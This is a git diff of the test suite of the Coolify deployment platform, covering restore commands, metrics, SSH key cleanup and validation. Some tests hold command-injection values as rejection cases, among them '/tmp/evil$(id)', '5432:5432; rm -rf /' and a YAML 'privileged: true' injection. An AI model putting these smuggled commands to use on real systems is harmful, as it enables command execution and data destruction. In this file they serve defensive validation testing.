referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-20260102T030405 @@ -1517,6 +1521,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -1530,9 +1535,9 @@ required: true SELF_REF: null SERVICE_BASE64_64_WEB: '' - SERVICE_FQDN_ADMIN: referenceapplication0001.10.0.0.1.sslip.io + SERVICE_FQDN_ADMIN: admin.example.com SERVICE_FQDN_ADMIN_8080: null - SERVICE_FQDN_API: referenceapplication0001.10.0.0.1.sslip.io/api + SERVICE_FQDN_API: www.api.example.com SERVICE_FQDN_API_V2: api-v2.example.com SERVICE_FQDN_BLOG: blog.example.com SERVICE_FQDN_MY_APP: my-app.example.com @@ -1677,6 +1682,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: preview-value COOLIFY_BRANCH: '"pull/7/head"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-pr-7 @@ -2315,6 +2321,7 @@ BARE_PASSTHROUGH: null BUILD_VERSION: null DASH_DEFAULT_VAR: null + MAP_EMPTY_FROM_DATABASE: production-value MAP_NULL: null NESTED_INNER: null NESTED_NO_DEFAULT_INNER: null @@ -2328,9 +2335,9 @@ required: true SELF_REF: null SERVICE_BASE64_64_WEB: '' - SERVICE_FQDN_ADMIN: referenceapplication0001.10.0.0.1.sslip.io + SERVICE_FQDN_ADMIN: admin.example.com SERVICE_FQDN_ADMIN_8080: null - SERVICE_FQDN_API: referenceapplication0001.10.0.0.1.sslip.io/api + SERVICE_FQDN_API: www.api.example.com SERVICE_FQDN_API_V2: api-v2.example.com SERVICE_FQDN_BLOG: blog.example.com SERVICE_FQDN_MY_APP: my-app.example.com @@ -2436,6 +2443,7 @@ environment: MAP_LITERAL: map-value MAP_NULL: null + MAP_EMPTY_FROM_DATABASE: preview-value COOLIFY_BRANCH: '"pull/8/head"' COOLIFY_RESOURCE_UUID: referenceapplication0001 COOLIFY_CONTAINER_NAME: api-referenceapplication0001-pr-8 diff --git a/tests/Pest.php b/tests/Pest.php index b0a054c607..93ec29d1b0 100644 --- a/tests/Pest.php +++ b/tests/Pest.php @@ -31,6 +31,7 @@ uses(TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser'); require_once __DIR__.'/Support/BrowserTestHelpers.php'; require_once __DIR__.'/Support/ManagedDnsTestHelpers.php'; require_once __DIR__.'/Support/StripeTestHelpers.php'; +require_once __DIR__.'/Support/RemoteProcessTestHelpers.php'; function remoteOutputSource(string $path): string { diff --git a/tests/Support/RemoteProcessTestHelpers.php b/tests/Support/RemoteProcessTestHelpers.php new file mode 100644 index 0000000000..fd28084079 --- /dev/null +++ b/tests/Support/RemoteProcessTestHelpers.php @@ -0,0 +1,36 @@ +command) ? implode(' ', $process->command) : (string) $process->command; + + return is_string($process->input) && $process->input !== '' ? $command."\n".$process->input : $command; +} + +/** + * Process::fake() with command patterns that also match the SSH command batch on stdin. + * Unmatched processes get an empty successful result. + * + * @param array $handlers pattern => result or closure, as for Process::fake() + */ +function fakeRemoteProcesses(array $handlers): void +{ + Process::fake(function (PendingProcess $process) use ($handlers) { + $script = remoteProcessScript($process); + foreach ($handlers as $pattern => $handler) { + if (is_numeric($pattern) || $pattern === '*' || Str::is($pattern, $script)) { + return $handler instanceof Closure ? $handler($process) : $handler; + } + } + + return Process::result(); + }); +} diff --git a/tests/Unit/DatabaseImport/DatabaseImportCommandBuilderTest.php b/tests/Unit/DatabaseImport/DatabaseImportCommandBuilderTest.php index c78c56d066..c44a19ada9 100644 --- a/tests/Unit/DatabaseImport/DatabaseImportCommandBuilderTest.php +++ b/tests/Unit/DatabaseImport/DatabaseImportCommandBuilderTest.php @@ -83,8 +83,8 @@ test('restores dump-all PostgreSQL custom archives with pg_restore from the deco // pg_restore cannot read gzip files, so it must receive the decompressed archive on stdin. expect($command) - ->toContain('stream | pg_restore --exit-on-error -U "$pg_user" -d "$db"') - ->toContain('stream | psql -v ON_ERROR_STOP=1 -U "$pg_user" -d "$db"') + ->toContain('stream | pg_restore -U "$pg_user" -d "$db"') + ->toContain('stream | psql -U "$pg_user" -d "$db"') ->not->toContain("-d \"\$db\" '/tmp/backup.dump.gz'"); }); diff --git a/tests/Unit/DatabaseImport/DatabaseImportRestoreScriptTest.php b/tests/Unit/DatabaseImport/DatabaseImportRestoreScriptTest.php index f7007689d6..47ebd39e69 100644 --- a/tests/Unit/DatabaseImport/DatabaseImportRestoreScriptTest.php +++ b/tests/Unit/DatabaseImport/DatabaseImportRestoreScriptTest.php @@ -562,6 +562,7 @@ test('restores PostgreSQL backups containing all databases after checking the fo ['psql', '', ["-U {$user} -d template1 -t -c", 'SELECT datname FROM pg_database']], ['dropdb', '', ["-U {$user} --maintenance-db=template1 --if-exists app"]], ['createdb', '', ["-U {$user} app"]], + ['createdb', '', ["-U {$user} postgres"]], ]; $inspect = $restoreCall[0] === 'pg_restore' ? [['pg_restore', 'PGDMP', ['-l']]] : []; diff --git a/tests/Unit/DeployKeyDedicatedPathTest.php b/tests/Unit/DeployKeyDedicatedPathTest.php index 3586994bca..cf84aa2d39 100644 --- a/tests/Unit/DeployKeyDedicatedPathTest.php +++ b/tests/Unit/DeployKeyDedicatedPathTest.php @@ -115,7 +115,7 @@ it('supports skipping command log entries without adding a hidden command entry' ->and($logs[0]['command'])->toBeNull() ->and($logs[0]['output'])->toBe('materialized '.REDACTED); expect($storedLogs)->not->toContain($payload)->not->toContain($command); - Process::assertRan(fn ($process) => str_contains($process->command, $command)); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), $command)); }); it('writes a deploy key to a per-deployment path and cleans it up for ls-remote on the host', function () use ($keyPath) { diff --git a/tests/Unit/InstallScriptAuthorizedKeysTest.php b/tests/Unit/InstallScriptAuthorizedKeysTest.php index b2fd5136e4..a105cea8b0 100644 --- a/tests/Unit/InstallScriptAuthorizedKeysTest.php +++ b/tests/Unit/InstallScriptAuthorizedKeysTest.php @@ -2,7 +2,7 @@ use Symfony\Component\Process\Process; -it('removes only the previous Coolify key from authorized_keys', function (string $path) { +it('removes only previous Coolify keys from authorized_keys', function (string $path) { $script = file_get_contents(dirname(__DIR__, 2).'/'.$path); preg_match('/^\s*(sed -i .*~\/\.ssh\/authorized_keys)$/m', $script, $matches); expect($matches)->toHaveKey(1); @@ -12,9 +12,13 @@ it('removes only the previous Coolify key from authorized_keys', function (strin file_put_contents($home.'/.ssh/authorized_keys', implode("\n", [ 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey coolify-disposable', 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey operator-lab', - 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHostKey root@coolify', + 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey me@coolify-laptop', + 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey coolify-ops key', + 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey admin@root@coolify.example.com', 'no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOptions deploy@coolify.example.com', 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOldCoolifyKey coolify', + // Installers before September 2024 generated their key with the comment "root@coolify". + 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOlderCoolifyKey root@coolify', '', ])); @@ -24,7 +28,9 @@ it('removes only the previous Coolify key from authorized_keys', function (strin expect(file_get_contents($home.'/.ssh/authorized_keys'))->toBe(implode("\n", [ 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey coolify-disposable', 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey operator-lab', - 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHostKey root@coolify', + 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey me@coolify-laptop', + 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey coolify-ops key', + 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOperatorKey admin@root@coolify.example.com', 'no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOptions deploy@coolify.example.com', '', ])); diff --git a/tests/Unit/Livewire/Database/S3RestoreTest.php b/tests/Unit/Livewire/Database/S3RestoreTest.php index d620c737e8..51bea457a9 100644 --- a/tests/Unit/Livewire/Database/S3RestoreTest.php +++ b/tests/Unit/Livewire/Database/S3RestoreTest.php @@ -124,6 +124,19 @@ test('buildRestoreCommand dump-all PostgreSQL restore is pg_restore for PGDMP ot ->and(strpos($command, 'kind=archive'))->toBeLessThan(strpos($command, 'dropdb')); }); +test('dump-all PostgreSQL restore does not stop on the errors every pg_dumpall dump produces', function () { + $component = importFormWithResource('App\Models\StandalonePostgresql'); + $component->dumpAll = true; + + // A pg_dumpall dump always runs CREATE ROLE for the existing superuser (and CREATE DATABASE + // for the recreated target database), and an archive with owners can reference missing + // roles. Stopping on that first error would leave the server without the dropped databases. + expect($component->buildRestoreCommand('/tmp/test.dump')) + ->not->toContain('ON_ERROR_STOP') + ->not->toContain('--exit-on-error') + ->not->toContain('--single-transaction'); +}); + test('dump-all PostgreSQL import text shows the client chosen by the dump format', function () { $component = importFormWithResource('App\Models\StandalonePostgresql'); $component->updatedDumpAll(true); @@ -132,8 +145,9 @@ test('dump-all PostgreSQL import text shows the client chosen by the dump format }); test('dump-all PostgreSQL restore selects the client for the dump format', function (string $contents, bool $gzip, string $restore, array $preflight) { - // Check the archive, terminate sessions, list databases, recreate the target database, then restore. - expect(invokedPostgresRestoreClients($contents, $gzip))->toBe([...$preflight, 'psql:', 'psql:', 'psql:', 'createdb:', $restore]); + // Check the archive, terminate sessions, list databases, recreate the target database and the + // postgres database (POSTGRES_DB is "app" here), then restore. + expect(invokedPostgresRestoreClients($contents, $gzip))->toBe([...$preflight, 'psql:', 'psql:', 'psql:', 'createdb:', 'createdb:', $restore]); })->with([ 'custom archive' => ['PGDMP'.str_repeat("\0", 16), false, 'pg_restore:PGDMP', ['pg_restore:PGDMP']], 'gzip custom archive' => ['PGDMP'.str_repeat("\0", 16), true, 'pg_restore:PGDMP', ['pg_restore:PGDMP']], diff --git a/tests/Unit/LocalFileVolumeContentSizeTest.php b/tests/Unit/LocalFileVolumeContentSizeTest.php index f7b220522f..5ee1e3775d 100644 --- a/tests/Unit/LocalFileVolumeContentSizeTest.php +++ b/tests/Unit/LocalFileVolumeContentSizeTest.php @@ -90,11 +90,11 @@ it('does not read regular bind-mounted file contents while loading service setti $application->setRelation('destination', (object) ['server' => $server]); Process::fake(function ($process) { - if (str_contains($process->command, "test -f '/data/large.bin'")) { + if (str_contains(remoteProcessScript($process), "test -f '/data/large.bin'")) { return Process::result(output: 'OK'); } - if (str_contains($process->command, "test -d '/data/large.bin'")) { + if (str_contains(remoteProcessScript($process), "test -d '/data/large.bin'")) { return Process::result(output: 'NOK'); } @@ -104,8 +104,8 @@ it('does not read regular bind-mounted file contents while loading service setti getFilesystemVolumesFromServer($application); expect($volume->is_directory)->toBeFalse(); - Process::assertRan(fn ($process) => str_contains($process->command, "test -f '/data/large.bin'")); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'cat /data/large.bin') || str_contains($process->command, 'head -c')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "test -f '/data/large.bin'")); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'cat /data/large.bin') || str_contains(remoteProcessScript($process), 'head -c')); }); it('does not interpolate unsafe persisted file-storage paths into remote commands', function (string $path) { @@ -132,7 +132,7 @@ it('does not interpolate unsafe persisted file-storage paths into remote command Process::fake(); expect(fn () => getFilesystemVolumesFromServer($application, true))->toThrow(Exception::class); - Process::assertNotRan(fn ($process) => str_contains($process->command, $path)); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), $path)); })->with(['/tmp/evil`id`', '/tmp/evil$(id)', '/tmp/evil;id', '/tmp/evil|id', '${DATA:-/tmp/evil$(id)}', '/srv/$HOME;id', '${DATA:-/srv/app;id}/config.yml', '${DATA:-${HOME:-$(id)}}', '${DATA:+/srv/app;id}/config.yml']); it('preserves safe remote-shell path expansion', function (string $path, array $environment, string $expected) { @@ -194,17 +194,17 @@ it('quotes literal file-storage paths and safely expands persisted expressions', $expression->setRelation('resource', $application); Process::fake(fn ($process) => Process::result(output: match (true) { - str_contains($process->command, 'readlink -f') => 'OK', - str_contains($process->command, 'test -') => 'NOK', + str_contains(remoteProcessScript($process), 'readlink -f') => 'OK', + str_contains(remoteProcessScript($process), 'test -') => 'NOK', default => '', })); getFilesystemVolumesFromServer($application, true); - Process::assertRan(fn ($process) => str_contains($process->command, "test -f '/data/application/my files/config.yaml'")); - Process::assertRan(fn ($process) => str_contains($process->command, "mkdir -p -- '/data/application/my files/config.yaml'")); - Process::assertRan(fn ($process) => str_contains($process->command, "dirname -- '/data/application/my files/settings.json'")); - Process::assertRan(fn ($process) => str_contains($process->command, "tee -- '/data/application/my files/settings.json'")); - Process::assertRan(fn ($process) => str_contains($process->command, '${DATA_PATH:-/srv/app/config.yaml}')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "test -f '/data/application/my files/config.yaml'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "mkdir -p -- '/data/application/my files/config.yaml'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "dirname -- '/data/application/my files/settings.json'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "tee -- '/data/application/my files/settings.json'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), '${DATA_PATH:-/srv/app/config.yaml}')); }); it('bounds the remote file read itself to prevent a size-check race', function () { diff --git a/tests/Unit/Metrics/HasMetricsMappingTest.php b/tests/Unit/Metrics/HasMetricsMappingTest.php index d8b4b805bd..e6c70be05b 100644 --- a/tests/Unit/Metrics/HasMetricsMappingTest.php +++ b/tests/Unit/Metrics/HasMetricsMappingTest.php @@ -13,10 +13,17 @@ class MetricsMappingDouble /** @var array type => rows */ public array $rowsByType = []; + public string $uuid = 'app-uuid'; + protected function fetchMetricRows(string $type, int $mins): ?array { return $this->rowsByType[$type] ?? null; } + + public function endpoint(string $type, int $mins): string + { + return $this->getMetricsEndpoint($type, '2026-01-01T00:00:00Z', $mins); + } } it('keeps only the root mount for disk metrics', function () { @@ -67,9 +74,28 @@ it('does not use non-root mounts when root disk samples are missing', function ( expect($double->getDiskMetrics(5))->toBe([]); }); +it('uses the Sentinel data mount for disk metrics when no root mount is reported', function () { + $double = new MetricsMappingDouble; + $double->rowsByType['disk'] = [ + ['time' => 1000, 'mount' => '/boot', 'usedPercent' => 90], + ['time' => 1000, 'mount' => '/app/db', 'usedPercent' => 30], + ]; + + expect($double->getDiskMetrics(5))->toBe([[1000, 30.0]]); +}); + it('supports older disk rows without a mount field', function () { $double = new MetricsMappingDouble; $double->rowsByType['disk'] = [['time' => 1000, 'usedPercent' => 40]]; expect($double->getDiskMetrics(5))->toBe([[1000, 40.0]]); }); + +it('asks sentinel to bucket ranges over an hour into at most 1000 whole-minute rows', function () { + $double = new MetricsMappingDouble; + + expect($double->endpoint('cpu', 60))->not->toContain('bucket_ms') + ->and($double->endpoint('cpu', 720))->toBe('http://localhost:8888/api/container/app-uuid/cpu/history?from=2026-01-01T00:00:00Z&bucket_ms=60000') + ->and($double->endpoint('cpu', 10080))->toEndWith('&bucket_ms=660000') + ->and($double->endpoint('cpu', 43200))->toEndWith('&bucket_ms=2640000'); +}); diff --git a/tests/Unit/RemoteOutputSizeLimitsTest.php b/tests/Unit/RemoteOutputSizeLimitsTest.php index 2dacc7ff28..22a9407691 100644 --- a/tests/Unit/RemoteOutputSizeLimitsTest.php +++ b/tests/Unit/RemoteOutputSizeLimitsTest.php @@ -36,15 +36,15 @@ it('bounds dynamic proxy configuration files and their combined Livewire payload $files = collect(range(1, 101))->map(fn (int $number) => sprintf('file%03d.yml', $number))->implode("\n"); Process::fake(function ($process) use ($files) { - if (str_contains($process->command, 'ls -1')) { + if (str_contains(remoteProcessScript($process), 'ls -1')) { return Process::result(output: $files); } - if (str_contains($process->command, 'file001.yml')) { + if (str_contains(remoteProcessScript($process), 'file001.yml')) { return Process::result(output: str_repeat('x', DynamicConfigurations::MAX_CONFIGURATION_FILE_SIZE_BYTES + 1)); } - if (preg_match('/file00[2-6]\.yml/', $process->command)) { + if (preg_match('/file00[2-6]\.yml/', remoteProcessScript($process))) { return Process::result(output: str_repeat('x', DynamicConfigurations::MAX_CONFIGURATION_FILE_SIZE_BYTES)); } @@ -60,7 +60,7 @@ it('bounds dynamic proxy configuration files and their combined Livewire payload expect($component->contents)->toHaveCount(5) ->toHaveKeys(['file002|yml', 'file003|yml', 'file004|yml', 'file005|yml', 'file006|yml']) ->not->toHaveKeys(['file001|yml', 'file007|yml', 'file101|yml']); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'file101.yml')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'file101.yml')); }); it('fails explicitly when a source fixture cannot be read', function () { remoteOutputSource('missing-source-fixture.php'); @@ -93,7 +93,7 @@ it('rejects oversized docker compose files loaded from git before parsing', func $application->shouldReceive('save')->once(); Process::fake(function ($process) { - if (str_contains($process->command, 'git cat-file -s')) { + if (str_contains(remoteProcessScript($process), 'git cat-file -s')) { return Process::result(output: '__COOLIFY_COMPOSE_TOO_LARGE__'); } @@ -103,7 +103,7 @@ it('rejects oversized docker compose files loaded from git before parsing', func expect(fn () => $application->loadComposeFile()) ->toThrow(RuntimeException::class, 'Docker Compose file exceeds the 5 MiB size limit.'); expect($application->docker_compose_raw)->toBeNull(); - Process::assertRan(fn ($process) => str_contains($process->command, '-gt '.Application::MAX_DOCKER_COMPOSE_SIZE_BYTES)); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), '-gt '.Application::MAX_DOCKER_COMPOSE_SIZE_BYTES)); }); it('bounds scheduled task output before storing or notifying', function () { $source = remoteOutputSource('app/Jobs/ScheduledTaskJob.php'); @@ -176,5 +176,5 @@ it('rejects oversized proxy configuration backfill before persistence', function expect(fn () => $method->invoke(new GetProxyConfiguration, $server)) ->toThrow(RuntimeException::class, 'Proxy configuration exceeds the 5 MiB size limit.'); - Process::assertRan(fn ($process) => str_contains($process->command, 'head -c '.(GetProxyConfiguration::MAX_CONFIGURATION_SIZE_BYTES + 1))); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'head -c '.(GetProxyConfiguration::MAX_CONFIGURATION_SIZE_BYTES + 1))); }); diff --git a/tests/Unit/ServerTransfer/ServerTransferBundleTest.php b/tests/Unit/ServerTransfer/ServerTransferBundleTest.php index aa27c86120..5364f99fb4 100644 --- a/tests/Unit/ServerTransfer/ServerTransferBundleTest.php +++ b/tests/Unit/ServerTransfer/ServerTransferBundleTest.php @@ -92,3 +92,38 @@ test('validate rejects an unsafe id in an id list', function () { expect(ServerTransferBundle::validate($bundle)['errors'])->toContain('volume_backups.0.s3_storage_uuids.1 is not a valid id. An id may only contain letters, digits, hyphens, and underscores (at most 64 characters).'); }); + +function bundleTestWithDatabasePorts(array $attributes): array +{ + $bundle = bundleTestMinimalBundle(); + $bundle['projects'] = [['environments' => [['databases' => [['attributes' => $attributes]]]]]]; + + return $bundle; +} + +test('validate accepts the port values that older databases have', function (array $attributes) { + expect(ServerTransferBundle::validate(bundleTestWithDatabasePorts($attributes))['errors'])->toBe([]); +})->with([ + 'no ports' => [['ports_mappings' => null, 'public_port' => null]], + 'empty mappings' => [['ports_mappings' => '']], + 'mapping list' => [['ports_mappings' => '5432:5432,8080:80']], + 'spaces and a trailing comma' => [['ports_mappings' => '5432:5432, 8080:80,']], + 'container port only' => [['ports_mappings' => '5432']], + 'ip, range and protocol' => [['ports_mappings' => '127.0.0.1:8000-8010:8000-8010/udp,[::1]::80']], + 'public port below 1024' => [['public_port' => 543]], + 'public port as digit string' => [['public_port' => '5432']], +]); + +test('validate rejects garbage database port values', function (array $attributes, string $field) { + $errors = ServerTransferBundle::validate(bundleTestWithDatabasePorts($attributes))['errors']; + + expect(implode(' ', $errors))->toContain("projects.0.environments.0.databases.0.{$field}"); +})->with([ + 'shell in mappings' => [['ports_mappings' => '5432:5432; rm -rf /'], 'ports_mappings'], + 'yaml in mappings' => [['ports_mappings' => "5432:5432\nprivileged: true"], 'ports_mappings'], + 'letters in mappings' => [['ports_mappings' => 'abc:def'], 'ports_mappings'], + 'mappings as array' => [['ports_mappings' => ['5432:5432']], 'ports_mappings'], + 'public port zero' => [['public_port' => 0], 'public_port'], + 'public port too high' => [['public_port' => 70000], 'public_port'], + 'public port text' => [['public_port' => '5432; id'], 'public_port'], +]); diff --git a/tests/Unit/Services/SentinelMetricsClientTest.php b/tests/Unit/Services/SentinelMetricsClientTest.php index 4bf1793d4c..c8c42286b0 100644 --- a/tests/Unit/Services/SentinelMetricsClientTest.php +++ b/tests/Unit/Services/SentinelMetricsClientTest.php @@ -12,8 +12,12 @@ class FakeMetricsClient extends SentinelMetricsClient /** @var array */ public array $failing = []; + /** @var array */ + public array $urls = []; + protected function raw(string $url): string { + $this->urls[] = $url; foreach ($this->failing as $needle) { if (str_contains($url, $needle)) { throw new RuntimeException('boom'); @@ -247,3 +251,16 @@ it('prefers the root mount over the host mount of the Coolify data directory', f expect($client->history('disk', '24h'))->toBe([[1699999800000, 60.0]]); }); + +it('asks sentinel to bucket history rows by range', function (string $range, int $bucketMs) { + $client = fakeMetricsClient(); + + $client->history('memory', $range); + $client->networkHistory($range); + + expect($client->urls)->each->toContain("bucket_ms={$bucketMs}"); +})->with([ + ['24h', 300_000], + ['7d', 1_800_000], + ['30d', 7_200_000], +]); diff --git a/tests/Unit/UpdateCoolifyTest.php b/tests/Unit/UpdateCoolifyTest.php index 73f0ae6619..c842dffec8 100644 --- a/tests/Unit/UpdateCoolifyTest.php +++ b/tests/Unit/UpdateCoolifyTest.php @@ -424,11 +424,11 @@ it('starts an upgrade when the previous upgrade status is older than the lock ex it('backs up the instance database before the update', function () { updateCoolifyTestPrepareUpdate(); - Process::fake(['*du -b*' => '128', '*' => '']); + fakeRemoteProcesses(['*du -b*' => '128', '*' => '']); (new UpdateCoolify)->handle(manual_update: true); - Process::assertRan(fn ($process) => str_contains($process->command, 'pg_dump')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'pg_dump')); expect(RemoteProcessCommand::read(Activity::query()->latest('id')->first())) ->toContain("bash /data/coolify/source/upgrade.sh '4.0.10'"); }); @@ -439,13 +439,13 @@ it('skips the backup before the update when it is disabled', function () { (new UpdateCoolify)->handle(manual_update: true); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'pg_dump')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'pg_dump')); expect(Activity::query()->count())->toBe(1); }); it('does not start the update when the instance backup fails', function () { updateCoolifyTestPrepareUpdate(); - Process::fake(['*pg_dump*' => Process::result(exitCode: 1), '*' => '']); + fakeRemoteProcesses(['*pg_dump*' => Process::result(exitCode: 1), '*' => '']); expect(fn () => (new UpdateCoolify)->handle(manual_update: true)) ->toThrow(Exception::class, 'The database backup failed, so the update was not started.') diff --git a/tests/v4/Browser/CloneVolumeDataConfirmationTest.php b/tests/v4/Browser/CloneVolumeDataConfirmationTest.php new file mode 100644 index 0000000000..055ef26f74 --- /dev/null +++ b/tests/v4/Browser/CloneVolumeDataConfirmationTest.php @@ -0,0 +1,53 @@ +set('app.maintenance.store', 'array'); + $this->stack = seedBrowserResourceStack(); + $this->database = createBrowserPostgresql($this->stack, ['uuid' => 'db-clone-volume-data', 'name' => 'Clone Source DB']); +}); + +it('asks for a confirmation before a resource clone with volume data', function () { + loginAndSkipBoarding(); + + $page = visit(databaseConfigurationUrl($this->stack['project'], $this->stack['environment'], $this->database).'/resource-operations') + ->assertSee('Clone volume data') + ->assertSee('The running resource will not be changed.') + ->click('input[id^="cloneVolumeData-"]') + ->wait(1) + ->assertSee('A running resource is stopped while its volume data is copied.') + ->click('#clone-resource-section button.button:has-text("Clone resource")') + ->wait(1) + ->assertSee('Clone this resource with its volume data?') + ->assertSee('If the resource is running, it is stopped while its volume data is copied.') + ->screenshot(filename: 'clone-resource-volume-data-confirmation'); + + expect(StandalonePostgresql::query()->count())->toBe(1); +}); + +it('asks for a confirmation before an environment clone with volume data', function () { + loginAndSkipBoarding(); + + $project = $this->stack['project']; + $environment = $this->stack['environment']; + + visit("/project/{$project->uuid}/environment/{$environment->uuid}/clone") + ->assertSee('Clone volume data') + ->click('input[id^="cloneVolumeData-"]') + ->wait(1) + ->click('coolify') + ->wait(1) + ->click('Clone to environment') + ->wait(1) + ->assertSee('Clone with volume data?') + ->assertSee('Running source resources are stopped while their volume data is copied.') + ->screenshot(filename: 'clone-environment-volume-data-confirmation'); + + expect(Project::query()->count())->toBe(1) + ->and($environment->project->environments()->count())->toBe(1); +}); From 62b2a99a7061aacddf25502d76aa6137dfad77cf Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Tue, 27 Oct 2026 22:25:43 +0100 Subject: [PATCH 10/10] chore: merge main into next (#12351) Co-authored-by: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Co-authored-by: Aditya Tripathi Co-authored-by: Claude Opus 5.5 --- .ai/lessons.md | 6 +- app/Actions/Database/StartDatabaseImport.php | 2 +- app/Actions/Database/StartDatabaseProxy.php | 28 +- .../Development/StartDevelopmentQemuVm.php | 8 + app/Actions/Docker/GetContainersStatus.php | 10 +- app/Actions/Server/StartLogDrain.php | 82 +-- app/Actions/Server/ValidateServer.php | 13 + .../Service/DeployServiceApplication.php | 1 + app/Actions/Service/StartService.php | 14 + app/Actions/User/DeleteUserTeams.php | 1 - app/Auth/Oidc/OidcDiscoveryService.php | 4 +- app/Exceptions/CloudProviderApiException.php | 73 +++ .../Api/ApplicationsController.php | 27 +- .../Api/Concerns/RequiresDeployAbility.php | 7 +- .../Controllers/Api/DatabasesController.php | 39 +- .../Api/DigitalOceanController.php | 23 +- .../Controllers/Api/HetznerController.php | 70 +- .../Controllers/Api/HostingerController.php | 14 +- app/Http/Controllers/Api/OpenApi.php | 108 ++++ .../Controllers/Api/ResourcesController.php | 19 +- .../Controllers/Api/S3StoragesController.php | 11 +- .../Api/ServerLogDrainsController.php | 8 +- .../Api/ServiceApplicationsController.php | 3 +- .../Api/ServiceDatabasesController.php | 2 +- .../Controllers/Api/ServicesController.php | 13 +- app/Http/Controllers/Api/VultrController.php | 23 +- app/Http/Controllers/Webhook/Github.php | 2 - app/Http/Middleware/ApiAllowed.php | 2 +- app/Http/Middleware/ApiIpAllowed.php | 2 +- app/Jobs/ApplicationDeploymentJob.php | 64 +- app/Jobs/ApplicationPullRequestUpdateJob.php | 6 +- app/Jobs/DatabaseBackupJob.php | 2 +- app/Jobs/PushServerUpdateJob.php | 16 +- app/Jobs/ServerCheckJob.php | 2 +- .../ServerCloudProviderStatusCheckJob.php | 20 +- app/Jobs/ServerFilesFromServerJob.php | 3 +- app/Jobs/ValidateNewCloudServerJob.php | 75 +++ app/Jobs/VolumeBackupJob.php | 2 +- app/Livewire/Analytics.php | 7 +- app/Livewire/Destination/Show.php | 1 + app/Livewire/Project/Application/Domains.php | 10 +- app/Livewire/Project/Application/General.php | 20 +- app/Livewire/Project/Application/Previews.php | 2 +- app/Livewire/Project/Application/Source.php | 7 +- app/Livewire/Project/CloneMe.php | 2 +- .../Project/Database/Clickhouse/General.php | 1 + .../Project/Database/Dragonfly/General.php | 1 + app/Livewire/Project/Database/ImportForm.php | 2 +- .../Project/Database/Keydb/General.php | 1 + .../Project/Database/Mariadb/General.php | 1 + .../Project/Database/Mongodb/General.php | 1 + .../Project/Database/Mysql/General.php | 1 + .../Project/Database/Postgresql/General.php | 1 + .../Project/Database/Redis/General.php | 1 + .../Project/Database/Sqlite/General.php | 1 + app/Livewire/Project/Edit.php | 1 + .../Project/New/GiteaPrivateRepository.php | 4 +- .../Project/New/GithubPrivateRepository.php | 38 +- .../New/GithubPrivateRepositoryDeployKey.php | 9 +- .../Project/New/GitlabPrivateRepository.php | 4 +- .../Project/New/PublicGitRepository.php | 3 +- app/Livewire/Project/Service/Index.php | 34 +- app/Livewire/Project/Service/StackForm.php | 1 + .../Shared/EnvironmentVariable/All.php | 49 +- app/Livewire/Project/Shared/GetLogs.php | 5 +- .../Project/Shared/ResourceOperations.php | 2 +- .../Project/Shared/ScheduledTask/All.php | 4 +- .../Security/IntegrationTokenEditor.php | 3 + .../Security/IntegrationTokenForm.php | 3 + app/Livewire/Server/LogDrains.php | 26 +- app/Livewire/Server/New/ByDigitalOcean.php | 3 + app/Livewire/Server/New/ByHetzner.php | 65 +- app/Livewire/Server/New/ByHostinger.php | 3 + app/Livewire/Server/New/ByVultr.php | 3 + app/Livewire/Server/Show.php | 12 - app/Livewire/Server/ValidateAndInstall.php | 16 + .../SharedVariables/Environment/Show.php | 33 +- app/Livewire/SharedVariables/Project/Show.php | 34 +- app/Livewire/SharedVariables/Server/Show.php | 38 +- app/Livewire/SharedVariables/Team/Index.php | 33 +- app/Livewire/Source/Gitea/Change.php | 1 + app/Livewire/Source/Github/Change.php | 1 + app/Livewire/Source/Gitlab/Change.php | 1 + app/Livewire/Storage/Create.php | 15 + 